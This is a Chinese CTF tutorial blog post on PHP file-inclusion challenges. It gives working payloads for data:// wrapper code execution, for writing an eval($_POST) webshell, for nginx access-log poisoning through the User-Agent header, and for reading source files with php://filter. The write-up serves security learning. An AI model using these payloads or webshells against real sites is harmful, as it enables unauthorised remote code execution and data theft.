当前位置:网站首页>CTF入门之php文件包含
CTF入门之php文件包含
2022-08-02 03:25:00 【SevenCold】
一.php伪协议执行代码
由图可知,只需要通过get请求传送url变量即可触发include函数,一开始的思路是直接才flag的文件名,如flag.php等等,然后都失败了,然后想到了文件包含漏洞,利用php伪协议。
https://blog.csdn.net/yao_xin_de_yuan/article/details/108326427 php伪协议介绍
这里有两种方法:
1.url=data://text/plain,<?php print_r(glob("*")); ?>
通过通配符查找目录下的所有文件
找到两个文件,其中ctf_go_go_go文件中即为flag
2. 构造url=data:text/plain,<?php fputs(fopen("shell.php","w"),"<?php eval($_POST['h']);?>")?>
然后使用菜刀或蚁剑进行连接即可。
连接成功,打开相关文件即可。
二.日志注入
题目和上题一样,但用php伪协议是发现发生错误,所以应该是过滤了php,然后就可以进行日志注入。可以服务器问nginx,所以其日志目录为/var/log/nginx/access.log和/var/log/nginx/error.log
因此构造url=/var/log/nginx/access.log
发现日志会记录请求方法和user-agent 因为请求方法不能变,因此我们可以在user-agent处插入php代码,利用bp将user-agent字段改为<?php eval($_POST['h']);?> 发送后发现日志文件中的ua处为空,这是因为php代码会直接运行,而不会显示。然后我们用菜刀或蚁剑连接即可,但要注意url
进入后随便翻翻即可找到flag。
3.php伪协议读取文件
题目url如图,因为页面中并无明确提示,因此可以利用php伪协议读取文件内容看一下
构造url:?file=php://filter/read=convert.base64-encode/resource=flag.php
可以看到文件内容经过base64编码,我们解码一下即可得到flag
边栏推荐
猜你喜欢
New usage of string variable parsing in PHP8.2
(2) 顺序结构、对象的布尔值、选择结构、循环结构、列表、字典、元组、集合
13. JS output content and syntax
(5) 模块与包、编码格式、文件操作、目录操作
阿里云设置域名解析重定向后,无法使用Chrome访问
(1) print()函数、转义字符、二进制与字符编码 、变量、数据类型、input()函数、运算符
(1) introduction to Thinkphp6, installation view, template rendering, variable assignment
(3)Thinkphp6数据库
解决5+APP真机测试无法访问后台(同局域网)
TypeScript error error TS2469, error TS2731 solution
随机推荐
(3) Thinkphp6 database
PHP图片压缩到指定的大小
Scrapy爬虫遇见重定向301/302问题解决方法
[league/flysystem]一个优雅且支持度非常高的文件操作接口
TypeScript error error TS2469, error TS2731 solution
1. Beginning with PHP
js eventLoop 事件循环机制
解决5+APP真机测试无法访问后台(同局域网)
ES6三点运算符、数组方法、字符串扩展方法
[symfony/mailer] An elegant and easy-to-use mail library
hackmyvm: may walkthrough
PHP8.2的版本发布管理员和发布计划
PHP基金会三月新闻公告发布
17. JS conditional statements and loops, and data type conversion
14.JS语句和注释,变量和数据类型
Add a full image watermark to an image in PHP
[league/climate]一个功能健全的命令行功能操作库
(2)Thinkphp6模板引擎**标签
uniapp | 官方提供的map组件使用问题
PHP 发起支付宝支付时 订单信息乱码解决